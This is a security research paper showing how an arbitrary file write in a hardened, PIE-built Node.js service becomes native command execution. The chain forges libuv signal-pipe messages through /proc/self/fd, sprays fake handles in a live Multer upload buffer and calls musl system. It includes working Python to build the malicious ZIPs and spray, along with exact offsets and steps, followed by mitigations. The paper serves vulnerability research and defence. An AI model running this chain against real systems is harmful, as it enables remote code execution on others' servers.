Security Research

Forging signal state in a moving address space

By Zeyad ElZonkorany
1

Forging signal state in a moving address space

Abstract

An arbitrary file write inside a hardened Node.js service is often treated as a contained primitive when the application user cannot modify its code, configuration, or protected data. Procfs complicates that assumption. A path under /proc/self/fd/ can reopen an anonymous pipe already owned by the process. Bytes written through that path enter the underlying pipe even when procfs itself is mounted read-only. In a Node.js process, one such pipe belongs to libuv's Unix signal machinery.

SonarSource's prior research showed how a file write could inject a message into that pipe and reach a function pointer in uv_signal_t. Their construction targeted an official Node.js binary built without PIE. The stable Node image supplied both an addressable fake-handle candidate and a stack-pivot route into a ROP chain. The input also had to survive UTF-8 encoding.

This paper studies the same libuv trust boundary under a different memory model. The reference target uses Node.js 24.21.0 on Alpine Linux, libuv 1.52.1, musl, PIE, NX, full RELRO, and ASLR. No useful process address is fixed. The application does, however, expose three real implementation behaviors: a live /proc/self/maps disclosure, a binary write through ZIP symlink handling, and a request body retained as a Node.js Buffer while extraction is in progress.

Those behaviors support a different construction. The process map resolves musl's randomized system address. A stored ZIP member places thousands of sparse fake uv_signal_t objects inside the Multer upload buffer. A second map disclosure, taken while the request is still active, identifies the buffer's anonymous mapping. Finally, a 16-byte libuv signal message points into that mapping. The forged callback receives the fake handle pointer in RDI, which is also the first argument expected by system(const char *). Placing sh /data/r\0 at the beginning of the fake handle turns the callback into a direct command execution primitive.

The underlying libuv behavior is prior work. The contribution here is a PIE-compatible exploitation method that replaces stable Node addresses and a ROP chain with runtime address recovery and a controlled heap object.

Research scope

The target is a controlled reference deployment built for reproducible source-to-runtime analysis. The public HTTP authorization layer is outside this paper's scope. We begin at the point where the history import and export routes can be called.

The investigation asks one question:

Can the libuv signal-pipe technique remain practical when the Node executable is PIE, every useful mapping is randomized, and no pre-existing fake handle has a stable address?

The answer depends on four properties of the target:

  1. /proc/self/maps can be read through an application-level path handling flaw.
  2. ZIP extraction can write arbitrary binary bytes through a symlink chosen by the requester.
  3. Multer keeps the complete uploaded ZIP in a Buffer until the asynchronous import handler returns.
  4. The deployment is pinned closely enough to derive the signal-pipe descriptor, the uv_signal_t layout, and the musl symbol offset.

This is a cross-layer chain. None of the individual components exposes an HTTP endpoint for native code execution. The result appears only when application data flow, archive extraction, Node buffer allocation, procfs, the System V ABI, and libuv's internal signal protocol are considered together.

Method

The investigation followed the data from the HTTP request down to the native callback instead of treating the application and runtime as separate targets. Four forms of evidence were used:

  1. Versioned source tracing matched every native transition to the exact release used by the container: Node.js 24.21.0, libuv 1.52.1, Multer 2.2.0, concat-stream 2.0.0, and extract-zip 2.0.1.
  2. Binary inspection with readelf established the executable type and hardening properties, then supplied the system symbol value from the pinned musl image.
  3. Layout measurement used a small C program compiled against the Node image's own libuv headers. This avoided copying offsets from a different platform or release.
  4. Runtime observation compared process-map snapshots before and during a controlled upload. Values that depend on process startup or allocator history were derived from the live process.

The paper labels constants according to their source. Structure offsets and symbol values belong to the pinned build. Mapping bases and allocation addresses belong to one running process. The pipe descriptor belongs to one fixed startup sequence. Keeping those categories separate is essential because only the last two change under ASLR or runtime variation.

Prior work

The starting point is Stefan Schiller's SonarSource research, Why Code Security Matters - Even in Hardened Environments. That work established the important primitive: an application that can open /proc/self/fd/N for writing may inject bytes into one of its own anonymous pipes, even when the root filesystem and procfs are mounted read-only.

The signal pipe is especially useful because libuv treats its contents as an internal message. On x86-64, that message contains a pointer and an integer:

c
typedef struct {
  uv_signal_t *handle;
  int signum;
} uv__signal_msg_t;

The event-loop consumer dereferences handle, compares the two signal numbers, and calls handle->signal_cb. The producer is normally libuv's async signal handler, so the consumer is written around an internal invariant: bytes arriving on this pipe describe a live, registered uv_signal_t.

The original research had a write-only starting primitive. Stack, heap, and shared-library addresses were randomized, but the official Node.js 22.9.0 Linux binary was non-PIE. Its image stayed at a known base. SonarSource searched readable Node segments for bytes that could be interpreted as a fake signal handle whose callback field already pointed at a useful stack-pivot gadget. The pipe buffer then carried a UTF-8-compatible ROP chain.

That route depends on properties absent from the reference target:

  • The original used an official, non-PIE Node.js 22.9.0 executable. This target uses Alpine Node.js 24.21.0 with PIE.
  • SonarSource had no memory disclosure. Here, /proc/self/maps can be read repeatedly.
  • SonarSource interpreted existing bytes in a stable Node segment as a fake handle. Here, the entire handle is built in a live upload Buffer.
  • The original callback target was a static stack-pivot gadget, leading to a ROP chain in the signal-event stack buffer. Here, the callback address is the runtime-resolved musl system function, and the call uses the existing ABI directly.
  • The original pipe input had to remain valid UTF-8. A ZIP member in this target carries arbitrary binary bytes.
  • Finding compatible static data and gadgets was the original reliability problem. Here, the critical task is locating an ephemeral allocation before it is released.

PIE closes the stable-image shortcut. It does not remove the signal pipe or change the consumer's trust in uv__signal_msg_t. The research therefore moves the fake object into memory controlled by the request and discovers its address while it is alive.

Target fingerprint

The Docker image pins node:24-alpine by digest:

plaintext
FROM --platform=linux/amd64 \
  node:24-alpine@sha256:ebfe2f90462722a7a4de65e91990e97fe0d401c70e0e762c5b53302f905ec1c1

Runtime and ELF inspection produced this profile:

  • The process runs on little-endian Linux x86-64 with Node.js 24.21.0 and libuv 1.52.1. Its C library and dynamic loader are musl at /lib/ld-musl-x86_64.so.1.
  • The Node executable is ET_DYN with the PIE dynamic flag. Its GNU_STACK is non-executable, and GNU_RELRO is paired with BIND_NOW.
  • The pinned musl image gives system a symbol value of 0x5cf02.
  • sizeof(uv_signal_t) is 152 bytes. The measured offsets are 88 for flags, 96 for signal_cb, 104 for signum, and 148 for dispatched_signals.
  • In the native reference deployment, the signal pipe's write end is file descriptor 15.

The Node and libuv versions can be obtained without guessing:

bash
node -p 'JSON.stringify({ node: process.version, uv: process.versions.uv })'
json
{"node":"v24.21.0","uv":"1.52.1"}

The executable properties come from readelf:

bash
readelf -h /usr/local/bin/node
readelf -lW /usr/local/bin/node
readelf -dW /usr/local/bin/node

The relevant output is:

plaintext
Type:                              DYN (Position-Independent Executable file)
Machine:                           Advanced Micro Devices X86-64
GNU_STACK                          RW
GNU_RELRO                          R
FLAGS                              BIND_NOW
FLAGS_1                            NOW PIE

These observations apply to the pinned image. Other Node.js packages and Linux distributions require fresh measurements.

Primitive model

The application supplies three primitives before the libuv work begins:

  • A dynamic file read: export trusts an imported photo filename, allowing repeated reads of /proc/self/maps.
  • A binary path write: a duplicate ZIP entry follows a previously created symlink, allowing a command file and signal messages to be written.
  • A live controlled allocation: Multer memory storage retains the full ZIP, holding fake native objects at an address that can be discovered while the request is active.

The chain can be summarized as follows:

plaintext
imported photo filename
        |
        v
history export ----------------------------> /proc/self/maps
        |                                         |
        |                                         +--> musl base
        |                                         +--> live Buffer mapping
        |
uploaded ZIP held by Multer
        |
        +--> spray.bin contains fake uv_signal_t objects
        |
duplicate ZIP entry
        |
        +--> /data/r contains a command script
        |
        +--> /proc/self/fd/15 receives uv__signal_msg_t records
                                                   |
                                                   v
                                      uv__signal_event()
                                                   |
                                                   v
                                      system(fake_handle)
                                                   |
                                                   v
                                           sh /data/r

Each arrow crosses a different abstraction boundary. The rest of the paper follows those boundaries in the order needed to construct a reliable native object.

Reading the process map through history export

The history importer uses Multer memory storage, writes the uploaded ZIP to a temporary file, extracts it, and parses history.json. During import, the application assigns fresh database IDs but spreads each supplied photo record into the new record:

javascript
for (const photo of entry.photos || []) {
  db.data.photos.push({
    ...photo,
    id: nextId(db.data.photos),
    show_id: newId
  });
}

The spread preserves the imported filename. The export route later treats that database value as a source path:

javascript
archive.file(
  path.join(getPhotosDir(), folder, filename),
  { name: `photos/${folder}/${filename}` }
);

An imported filename of ../../../proc/self/maps climbs from the per-show photo folder to the filesystem root. archiver.file() opens the normalized source path when the export runs. The exported ZIP therefore contains the Node process's current map.

This is more useful than a single startup leak. /proc/self/maps is generated from the process's current virtual memory areas, so the same record can be exported before an upload and again while that upload is active. The Linux proc_pid_maps(5) documentation defines each line as an address range, permissions, file offset, device, inode, and optional path. Two classes of line matter here:

plaintext
7f...-7f... r--p 00000000 ... /lib/ld-musl-x86_64.so.1
7f...-7f... rw-p 00000000 00:00 0

The file-backed offset-zero musl mapping gives the load base for system. Changes among anonymous writable mappings reveal the large request buffer.

Access to /proc/self/maps does not cross a process boundary. The application reads its own map, so same-process procfs access checks permit it. This is why protecting /proc/<other-pid>/maps with user separation or hidepid does not address this chain by itself.

Obtaining a binary path write from ZIP extraction

The import path uses extract-zip 2.0.1. Its containment check resolves the parent directory of each entry and verifies that the parent remains under the extraction root. The final entry path is opened later.

The relevant order is:

plaintext
1. join extraction root and entry name
2. resolve and validate the parent directory
3. classify the entry from its Unix mode bits
4. create a symlink, or open the destination as a regular file

For a symlink entry, the library calls fs.symlink(link, dest). For a regular entry, it passes dest to createWriteStream(). The implementation can be inspected where extract-zip resolves and classifies each entry and where it creates symlinks or regular-file streams.

A ZIP containing two entries with the same name changes what dest means between those operations:

plaintext
pivot.bin  Unix symlink  -> /chosen/target
pivot.bin  regular file  -> arbitrary binary payload

The parent of pivot.bin remains inside the extraction directory and passes the realpath check. The first entry creates pivot.bin as a symlink. When the second entry is processed, createWriteStream(dest) follows the existing symlink and opens the chosen target. Unix ownership still governs the final target. Within the Node user's existing permissions, this sequence provides an arbitrary binary write.

The archive constructor used during testing is small:

python
def indirect_zip(target, payload):
    output = io.BytesIO()
    with ZipFile(output, "w", ZIP_STORED) as archive:
        archive.writestr("history.json", "[]")

        link = ZipInfo("pivot.bin")
        link.create_system = 3
        link.external_attr = (stat.S_IFLNK | 0o777) << 16
        archive.writestr(link, target)

        regular = ZipInfo("pivot.bin")
        regular.create_system = 3
        regular.external_attr = (stat.S_IFREG | 0o644) << 16
        archive.writestr(regular, payload)
    return output.getvalue()

ZIP_STORED is important for two reasons. The payload reaches the write stream without text conversion, and its byte position inside the uploaded ZIP can be calculated exactly. The technique is first used to write a short script to /data/r:

bash
#!/bin/sh
set -e
id > /data/rce-proof.txt

Writing this file proves the path primitive, but the file remains inert. Application code and protected paths are owned by root. The second use of the same primitive targets the signal pipe and supplies the control-flow transition.

Why the signal pipe exists before application code uses signals

The pipe is created by libuv during event-loop initialization on Linux, before the JavaScript application registers any process.on('SIG...') listener.

The source path is:

plaintext
uv_loop_init()
  -> uv__process_init()
       -> uv_signal_init(loop, &loop->child_watcher)
            -> uv__signal_loop_once_init(loop)
                 -> uv__make_pipe(loop->signal_pipefd, UV_NONBLOCK_PIPE)
                 -> watch signal_pipefd[0] for POLLIN

In libuv 1.52.1 src/unix/loop.c, loop initialization calls uv__process_init(). Linux does not use the kqueue process path, so src/unix/process.c defines UV_USE_SIGCHLD and initializes an internal child watcher with uv_signal_init(). That call reaches uv__signal_loop_once_init(), which creates the nonblocking pipe and registers its read end with the loop.

This initialization detail broadens the reachable surface. A plain Node HTTP server already has the pipe even when its own JavaScript never creates a signal watcher.

The native pinned deployment assigns file descriptor 15 to the write end. File descriptor numbers follow allocation order and have no ABI-defined value. The number must be derived again when the executable, startup sequence, instrumentation, or container runtime changes.

The internal signal message protocol

libuv uses an async-signal-safe producer and an event-loop consumer. The Unix signal handler cannot run arbitrary event-loop logic, so it writes a compact record to the pipe. The exact record in src/unix/signal.c is:

c
typedef struct {
  uv_signal_t *handle;
  int signum;
} uv__signal_msg_t;

On x86-64, the pointer occupies eight bytes, the integer occupies four, and structure alignment adds four bytes of tail padding. The pipe protocol therefore has a 16-byte record size:

plaintext
offset  size  meaning
0x00    8     pointer to uv_signal_t
0x08    4     signal number
0x0c    4     alignment padding

The legitimate producer walks libuv's registered signal handles, fills both fields, and writes the entire record to handle->loop->signal_pipefd[1]. The source uses one small write() so the record fits within the pipe's atomic-write guarantee. See uv__signal_handler().

The consumer, uv__signal_event(), reads up to 32 records into a stack buffer. For each complete record, its effective logic is:

c
handle = msg->handle;
if (msg->signum == handle->signum)
  handle->signal_cb(handle, handle->signum);

After the callback returns, libuv increments handle->dispatched_signals and checks the handle's one-shot flag. The consumer does not search the registered-handle tree to prove that msg->handle came from the producer. That check would normally be redundant because the write end is private process state.

The exploit changes the producer. Once application-controlled bytes can be written to the pipe, the 16-byte record becomes a pointer injection primitive with three requirements:

  1. msg->handle must point to readable and writable memory.
  2. The integer at handle + offsetof(signum) must equal msg->signum.
  3. The pointer at handle + offsetof(signal_cb) must be callable.

Writable memory is needed even when the callback itself only reads the object. uv__signal_event() increments dispatched_signals after the call. A fake handle in a read-only segment may reach the callback and then fault on return.

Reopening the pipe through procfs

Linux exposes one symbolic link per open descriptor under /proc/<pid>/fd/. The proc_pid_fd(5) documentation notes that pipe descriptors appear as links whose target is pipe:[inode]. Opening /proc/self/fd/15 creates a new descriptor that refers to the same pipe endpoint.

The second duplicate-entry ZIP uses:

plaintext
symlink target: /proc/self/fd/15
regular payload: one or more 16-byte uv__signal_msg_t records

extract-zip eventually calls createWriteStream() on the symlink path. Node opens it for writing, and the regular entry's bytes enter the libuv pipe. A read-only procfs mount does not make the pipe read-only. Procfs provides the lookup path; the write operation is handled by the underlying pipe object.

This behavior also explains the permission boundary. A process can generally reopen its own descriptor with a compatible access mode. A different user or a different process may fail procfs ownership checks. Here, the archive extractor and the signal pipe belong to the same Node process.

Measuring the exact fake-handle layout

The public uv_signal_t documentation describes the callback type and public signum member, but exploitation depends on the concrete platform layout. The layout comes from three macros in the headers shipped with the pinned Node image:

Offsets were measured by compiling this probe against /usr/local/include/node inside the exact image:

c
#include <stddef.h>
#include <stdio.h>
#include <uv.h>

#define FIELD(name) \
  printf("%-20s %zu\n", #name, offsetof(uv_signal_t, name))

int main(void) {
  printf("sizeof(uv_signal_t)  %zu\n", sizeof(uv_signal_t));
  FIELD(data);
  FIELD(loop);
  FIELD(type);
  FIELD(close_cb);
  FIELD(handle_queue);
  FIELD(u);
  FIELD(next_closing);
  FIELD(flags);
  FIELD(signal_cb);
  FIELD(signum);
  FIELD(tree_entry);
  FIELD(caught_signals);
  FIELD(dispatched_signals);
}

The result was:

plaintext
sizeof(uv_signal_t)  152
data                 0
loop                 8
type                 16
close_cb             24
handle_queue         32
u                    48
next_closing         80
flags                88
signal_cb            96
signum               104
tree_entry           112
caught_signals       144
dispatched_signals   148

Only a few fields need specific values on the forged path:

  • At 0x00, the data field and following bytes are reused as the command string sh /data/r\0.
  • At 0x58, flags must have its closing and one-shot bits clear.
  • At 0x60, signal_cb holds the runtime address of musl system.
  • At 0x68, signum is 12, matching the signal number in the pipe message.
  • At 0x94, dispatched_signals resides in writable memory so libuv can increment it after the callback.

The object does not need a valid loop pointer, type, close callback, queue linkage, or red-black tree entry for this execution path. uv__signal_event() does not consult those fields unless the one-shot path is entered. Keeping the relevant flag bits clear avoids that path.

What PIE changes

The fixed-image method from the original research does not transfer to this build. The Node executable is ET_DYN, and its dynamic flags include PIE. Its base changes when the process starts. A pointer to a candidate fake handle inside yesterday's Node mapping is meaningless in the next process. The same is true for a stack-pivot gadget in that image.

The callback target also moves. musl is a shared object loaded at a randomized address, while the controlled request buffer occupies an anonymous mapping chosen at runtime. The exploit therefore needs two address resolutions:

plaintext
callback address = current musl base + system symbol value
handle address   = current upload Buffer address + chosen object offset

Both are computed for the current process. The handle address is computed for the current upload because the allocation disappears when that request finishes.

This changes the role of the application bugs. The process-map disclosure is no longer background information. It becomes an active part of exploit synchronization, sampled once for the module base and again during the controlled allocation's lifetime.

Resolving system in the PIE process

Alpine's musl loader is also the C library in this image. The first offset-zero mapping for /lib/ld-musl-x86_64.so.1 supplies its load base:

python
libc_line = next(
    line for line in maps.splitlines()
    if "/lib/ld-musl-x86_64.so.1" in line
    and " 00000000 " in line
)
musl_base = int(libc_line.split("-")[0], 16)

readelf reports the symbol value in the pinned file:

bash
readelf -Ws /lib/ld-musl-x86_64.so.1 | grep ' system$'
plaintext
982: 000000000005cf02 574 FUNC GLOBAL DEFAULT 11 system

For this image:

python
SYSTEM_OFFSET = 0x5cf02
system_address = musl_base + SYSTEM_OFFSET

Hardcoding 0x5cf02 is acceptable only because the image digest is pinned. A portable implementation should parse the exact target ELF and derive the symbol value during target preparation. The runtime base must still come from the current process map.

The calculation uses the mapping with file offset zero. Selecting the executable r-xp line without accounting for its file offset would produce an incorrect load bias. The map's offset column must therefore be included in the address calculation.

Turning a Multer upload into native object storage

The next problem is finding writable memory whose bytes and lifetime are controlled from HTTP. The import route configures Multer with memoryStorage():

javascript
const importUpload = multer({
  storage: multer.memoryStorage(),
  limits: { fileSize: 1024 * 1024 * 1024 },
});

Multer 2.2.0 pipes the uploaded file stream into concat-stream and returns the result as req.file.buffer. The exact implementation is visible in storage/memory.js:

javascript
file.stream.pipe(concat({ encoding: 'buffer' }, function (data) {
  cb(null, { buffer: data, size: data.length })
}))

concat-stream 2.0.0 collects the chunks and calls Buffer.concat(bufs) for buffer output. Its bufferConcat() implementation provides the final link between multipart parsing and one contiguous Node buffer.

The pinned Node source then follows this allocation path:

plaintext
Buffer.concat(chunks)
  -> allocate(total_length)
       -> createUnsafeBuffer(total_length) for a large allocation
            -> FastBuffer(createUnsafeArrayBuffer(total_length))

The relevant source is lib/buffer.js in Node 24.21.0 and lib/internal/buffer.js. The Node 24.21.0 Buffer documentation describes the public Buffer.concat() behavior; the source shows the concrete large-buffer path used by this build.

The application keeps req.file.buffer reachable while it performs two slow operations:

javascript
fs.writeFileSync(zipPath, req.file.buffer);
await extractZip(zipPath, { dir: extractDir });

The synchronous file write finishes first. The await extractZip(...) then yields while the library walks the archive. The request object and its file metadata remain live until the route completes. This gives a useful interval in which another request can export /proc/self/maps and observe the allocation.

The allocation is controlled in contents and size. It is also temporary. A map captured after the import response may describe freed or reused memory, so the disclosure and pipe trigger must occur while the upload request is still active.

Constructing a sparse fake-handle spray

The uploaded ZIP is sized to 1,048,000 bytes. Its principal stored member, spray.bin, is 300,000 bytes of initially zeroed data. The payload writes only the fields needed by the signal-event path:

python
COMMAND = b"sh /data/r"
FAKE_SIZE = 152
spacing = 64

spray = bytearray(300_000)
for absolute in range(4096 - 16,
                      data_start + len(spray) - FAKE_SIZE + 1,
                      spacing):
    if absolute < data_start:
        continue

    offset = absolute - data_start
    spray[offset:offset + len(COMMAND)] = COMMAND
    spray[offset + len(COMMAND)] = 0
    struct.pack_into("<Q", spray, offset + 96, system_address)
    struct.pack_into("<i", spray, offset + 104, 12)

data_start is the byte position of the stored spray.bin payload within the complete ZIP. The local-file header supplies this value:

python
data_start = (
    info.header_offset
    + 30
    + filename_length
    + extra_field_length
)

For the pinned archive layout, data_start is 83. The first logical handle begins at absolute ZIP offset 4080, and subsequent handles begin every 64 bytes. The 300,000-byte member contains 4,623 candidates.

The logical object size is 152 bytes, so objects overlap. The overlap is deliberate. The byte ranges used by this path occupy distinct residues modulo 64:

  • Residues 0..9 hold sh /data/r; residue 10 is its NUL terminator.
  • Residues 24..27, where flags lands, remain zero.
  • Residues 32..39 hold the leaked system pointer for signal_cb.
  • Residues 40..43 hold the integer 12 for signum.
  • Residues 20..23, where dispatched_signals lands, remain writable and initially zero.

Neighboring objects introduce data into fields that the selected path never reads, such as queue storage and the red-black tree entry. They do not overwrite flags, signal_cb, signum, or dispatched_signals. A 64-byte stride therefore gives much denser coverage than placing non-overlapping 152-byte objects while preserving the fields that determine control flow.

The rest of the ZIP has two jobs. padding.bin adjusts the exact allocation size, and 5,000 one-byte entries keep extraction active:

python
def build_spray_zip(padding_length):
    output = io.BytesIO()
    with ZipFile(output, "w", ZIP_STORED) as archive:
        archive.writestr("history.json", "[]")
        archive.writestr("spray.bin", spray)
        archive.writestr("padding.bin", b"P" * padding_length)
        for i in range(5000):
            archive.writestr(f"s/{i:04d}", b"x")
    return output.getvalue()

The ZIP is 1,048,000 bytes. With multipart framing, the complete HTTP body is 1,048,177 bytes, leaving 399 bytes below a 1,048,576-byte gateway limit. The thousands of central-directory entries extend the period during which req.file.buffer remains referenced. The fake handles reside only in spray.bin.

Locating the live buffer under ASLR

In the pinned Node, V8, and musl combination, the 1,048,000-byte Buffer produces a one-MiB anonymous allocation. Depending on allocator history, the allocation can appear as an exact new mapping or as the changed tail of a larger anonymous mapping. This behavior was measured in the pinned build; Node's public API does not guarantee it.

The discovery algorithm uses two map snapshots and the lifetime of the active request:

  1. Export /proc/self/maps before starting the spray upload.
  2. Record anonymous private writable mappings of at least 300,000 bytes.
  3. Start the upload in a separate HTTP connection.
  4. Wait until the body has been sent and the request remains active in extraction.
  5. Export /proc/self/maps repeatedly while that connection is still waiting.
  6. Compare anonymous mapping start addresses and sizes against the baseline.

The parser accepts lines matching this shape:

python
pattern = r"^([0-9a-f]+)-([0-9a-f]+) rw-p 00000000 00:00 0\s*$"

For each new or resized candidate between one MiB and 128 MiB, the solver treats the final one MiB as the controlled allocation:

python
BUFFER_SIZE = 1_048_576
buffer_start = mapping_end - BUFFER_SIZE

An exact new one-MiB mapping is preferred. A changed larger mapping is accepted only when the before-and-during comparison leaves one candidate. If several candidates remain, the upload is allowed to finish and the experiment is repeated with a fresh allocation. Guessing risks pointing the signal consumer at unrelated writable memory and terminating the process.

The selected address is kept away from ZIP headers and allocator edges:

python
target = buffer_start + 65_536 + 256

The mapping boundary is page aligned, but the Buffer's data pointer can have a 16-byte allocator-dependent phase within the mapping. The spray repeats every 64 bytes. Four adjacent pointers cover every 16-byte phase:

python
messages = b"".join(
    struct.pack("<Qi", target + i * 16, 12) + bytes(4)
    for i in range(4)
)

Each record is 16 bytes, so the trigger payload is 64 bytes. Exactly one pointer has the same modulo-64 phase as a sprayed fake handle. The other three still point into the zero-heavy writable Buffer. Their signum reads do not equal 12, so the callback comparison fails. The post-record counter increment also remains inside the allocation.

This phase coverage removes a small allocator-layout dependency without broad brute force. It is one reason the sparse 64-byte spray is preferable to a single precisely placed object.

Converting the callback into system(handle)

libuv defines the callback type as:

c
typedef void (*uv_signal_cb)(uv_signal_t *handle, int signum);

The event loop calls it with the fake object pointer as the first argument. Under the System V AMD64 ABI, the first integer or pointer argument is passed in RDI; the second is passed in RSI.

musl exports:

c
int system(const char *command);

At the machine-code boundary, both calls place the first pointer in the same register:

plaintext
libuv call site                         musl interpretation

signal_cb(handle, signum)               system(command)
RDI = fake handle address               RDI = command string address
RSI = 12                                RSI ignored

The fake object begins with sh /data/r\0. Setting signal_cb to the leaked address of system therefore has the effective behavior:

c
system((char *)handle);

Calling through an incompatible C function-pointer type is not portable C behavior. This construction relies on the concrete x86-64 System V calling convention and the pinned binary interface. It would need a new analysis on Windows, AArch64, or an x86-64 build with a different callback sequence.

system(3) runs the command through /bin/sh -c and returns after the child command finishes. The Node event loop is blocked during this short call. When system returns, uv__signal_event() increments dispatched_signals at offset 148 and tests the one-shot flag at offset 88. The sprayed object is writable and those flag bits are clear, so the event loop can continue after the proof command completes.

Triggering the forged object

The final archive reuses the duplicate-entry write primitive:

python
writer_zip = indirect_zip("/proc/self/fd/15", messages)
upload_zip("writer.zip", writer_zip)

The resulting sequence inside the process is:

  1. createWriteStream() follows pivot.bin to /proc/self/fd/15.
  2. The 64-byte regular entry is written to the libuv signal pipe.
  3. The event-loop watcher observes POLLIN on the pipe's read end.
  4. uv__signal_event() divides the input into four 16-byte messages.
  5. Three candidate pointers fail the signal-number comparison.
  6. One candidate points at a sprayed fake uv_signal_t.
  7. signal_cb(handle, 12) transfers control to musl system.
  8. RDI points to sh /data/r\0, so the prepared script runs as the Node user.
  9. system returns, and libuv finishes processing the record.

No processor mitigation is disabled. NX remains effective because no injected bytes are executed as machine code. Full RELRO remains effective because no relocation or GOT entry is modified. PIE and ASLR remain effective because both required addresses are measured in the live process.

End-to-end research procedure

The complete procedure, beginning with access to the import and export routes, is:

  1. Import a history record whose photo filename resolves to /proc/self/maps.
  2. Export history and parse the offset-zero musl mapping.
  3. Add 0x5cf02 to obtain the current system address.
  4. Use a duplicate symlink and regular ZIP entry to write a benign command script to /data/r.
  5. Export the map again and record the baseline anonymous writable mappings.
  6. Build a 1,048,000-byte spray ZIP with 4,623 sparse fake handles and 5,000 trailing entries.
  7. Start that import in a separate connection and keep the request active.
  8. Export maps concurrently until one new or resized allocation identifies the live one-MiB backing region.
  9. Derive four 16-byte-spaced handle candidates inside the sprayed region.
  10. Write four uv__signal_msg_t records to /proc/self/fd/15 through another duplicate-entry ZIP.
  11. Confirm command execution through the benign proof file produced by /data/r.

The order matters. The musl address is process-specific but stable for the life of that process. The Buffer address is allocation-specific and valid only during the active import.

Reliability engineering

The native primitive is deterministic once the callback and handle addresses are correct. Most failures occur while identifying or preserving the temporary allocation.

The upload completes before the second map read

When extraction finishes, the route releases its references and the Buffer becomes eligible for collection. The 5,000 small entries extend the extraction phase without increasing the upload beyond the gateway limit. The trigger is sent only while the upload request is still waiting for a response.

More than one anonymous mapping changes

Node and its libraries allocate memory for unrelated work. The solver compares snapshots and requires a unique candidate. It prefers an exact one-MiB mapping. If the result is ambiguous, it starts a new spray instead of testing several unrelated addresses.

The allocation merges with another anonymous region

The mapping may grow while retaining its upper boundary. The target-specific calculation uses mapping_end - 1_048_576, which selects the tail where the large backing allocation was observed. This heuristic must be revalidated after changing Node, V8, musl, or allocator configuration.

The fake object has an unknown 16-byte phase

Four adjacent handle pointers cover all phases modulo 64. Wrong phases remain inside the spray and fail the signum equality before the callback.

The pipe descriptor changes

File descriptor 15 is stable in the pinned native deployment because startup order is fixed. Node does not define a fixed descriptor for this pipe. Instrumentation, preload libraries, or a new runtime can shift it. Target preparation must inspect /proc/<pid>/fd/ or otherwise derive the signal-pipe pair for that build.

The musl image changes

0x5cf02 is an ELF symbol value from one pinned library. A package update can move system even if the function still exists. Pinning the image and verifying readelf -Ws are part of the exploit model.

A wrong candidate reaches a flag-dependent path

The spray keeps the closing and one-shot bits clear at offset 88. The value at dispatched_signals is stored in writable memory. These conditions let the consumer return from the callback without entering uv__signal_stop(), which would require valid tree and loop state.

The command string is not terminated

system treats the fake handle as a C string. A NUL byte is written immediately after sh /data/r. The binary ZIP path preserves it; a text-only primitive would need separate encoding work.

Security interpretation

The signal consumer is operating as designed within libuv's normal threat model. Its producer and consumer are private parts of the same process, and the pipe descriptor is expected to remain internal. The dangerous transition occurs when an application-level file write can reopen that descriptor through procfs.

The practical preconditions are narrower than "arbitrary file write equals RCE":

  • the process has a writable internal pipe with a pointer-bearing message format;
  • the write primitive can target /proc/self/fd/N and preserve binary bytes;
  • a readable and writable fake object can be addressed;
  • a callable target can be resolved;
  • the application user is permitted to reopen the descriptor;
  • the exact runtime ABI and structure layout are known.

The reference target satisfies those conditions through separate, ordinary components. The chain is therefore useful as a review pattern. File-write impact analysis should include descriptors and virtual filesystems, while memory-disclosure analysis should include temporary native allocations created by high-level request middleware.

Mitigations

The most effective fixes are at the application boundaries that create the read and write primitives.

Treat imported filenames as data, not source paths

The history importer should reject absolute paths, separators, empty components, and ... The export route should derive the filesystem path from a server-generated identifier or a validated basename. A containment check should be performed on the final resolved source before it is opened.

Extract archives without following attacker-created links

Reject symlink entries when the archive format does not require them. Reject duplicate normalized entry names. A secure native extractor can open a trusted directory descriptor and use openat2() with constraints such as RESOLVE_BENEATH and RESOLVE_NO_SYMLINKS. A JavaScript implementation should avoid a check-then-open sequence in which the final component may already be a symlink.

Separate parsing from the long-lived Node process

Archive extraction can run in a worker process with a distinct UID, a private temporary directory, and no procfs mount. The worker should return validated data through a narrow IPC format. Its file descriptors then do not expose the main Node event loop's internal pipes.

Avoid retaining large untrusted uploads when streaming is sufficient

Multer's MemoryStorage documentation states that the complete file is stored in a Buffer. Streaming an archive to a constrained worker or a server-created file removes the convenient long-lived backing object used here. This is defense in depth; it does not repair the path bugs.

Restrict process metadata and procfd access with the correct boundary

Hiding other users' processes does not protect /proc/self. A read-only procfs mount also does not make an underlying pipe read-only. Stronger isolation can omit procfs from the extraction worker's mount namespace or apply an LSM policy that denies the relevant proc paths. Seccomp alone cannot make a simple path-string decision for openat().

Consider validation inside pointer-bearing internal protocols

libuv could validate that a handle belongs to the loop's registered signal state before calling its callback, or authenticate internal records with per-loop state. Such changes have compatibility, signal-safety, and performance costs. They should be considered defense in depth because same-process arbitrary read and write primitives can often recover or corrupt validation state.

Limitations and portability

This construction is intentionally specific about its assumptions.

  • The object layout is for libuv 1.52.1 on x86-64 Unix.
  • The direct callback reuse depends on the System V AMD64 calling convention.
  • The symbol value 0x5cf02 belongs to the pinned musl file.
  • The one-MiB mapping behavior belongs to the pinned Node, V8, and musl combination.
  • File descriptor 15 belongs to the native reference deployment's startup order.
  • The method needs a repeatable process-map disclosure while the upload is active.
  • The command executes with the Node process's existing UID and container boundaries.

These constraints are part of the result. The work demonstrates a way to adapt the signal-pipe technique to a fully randomized Node image. Each Node.js service still requires its own version, ABI, allocation, and descriptor analysis.

Conclusion

PIE removes the stable Node image that made the original signal-pipe technique convenient. The libuv message path remains unchanged: a 16-byte record still supplies a handle pointer, the consumer still trusts that pointer enough to reach signal_cb, and procfs still provides a path back to the pipe's write end.

The replacement for the fixed image is a live object with a measured address. Multer supplies the object storage, the application supplies repeated map snapshots, and the binary archive write supplies the pipe messages. Resolving system from musl and reusing the callback's first argument removes the need for a stack pivot and ROP chain. The hard part moves from gadget selection to allocation lifetime and address synchronization.

That change is the main research result: exploitability survives PIE and ASLR when an application exposes both runtime mapping information and a controlled native allocation at the right moment.

References

  1. Stefan Schiller, Why Code Security Matters - Even in Hardened Environments, SonarSource, 2024.
  2. libuv, uv_signal_t signal-handle documentation.
  3. libuv 1.52.1, src/unix/signal.c.
  4. libuv 1.52.1, src/unix/process.c.
  5. libuv 1.52.1, include/uv.h and include/uv/unix.h.
  6. Node.js, Node.js 24.21.0 release archive.
  7. Node.js 24.21.0, lib/buffer.js and lib/internal/buffer.js.
  8. Node.js 24.21.0, Buffer API documentation.
  9. Multer 2.2.0, storage/memory.js and MemoryStorage documentation.
  10. concat-stream 2.0.0, index.js.
  11. extract-zip 2.0.1, index.js.
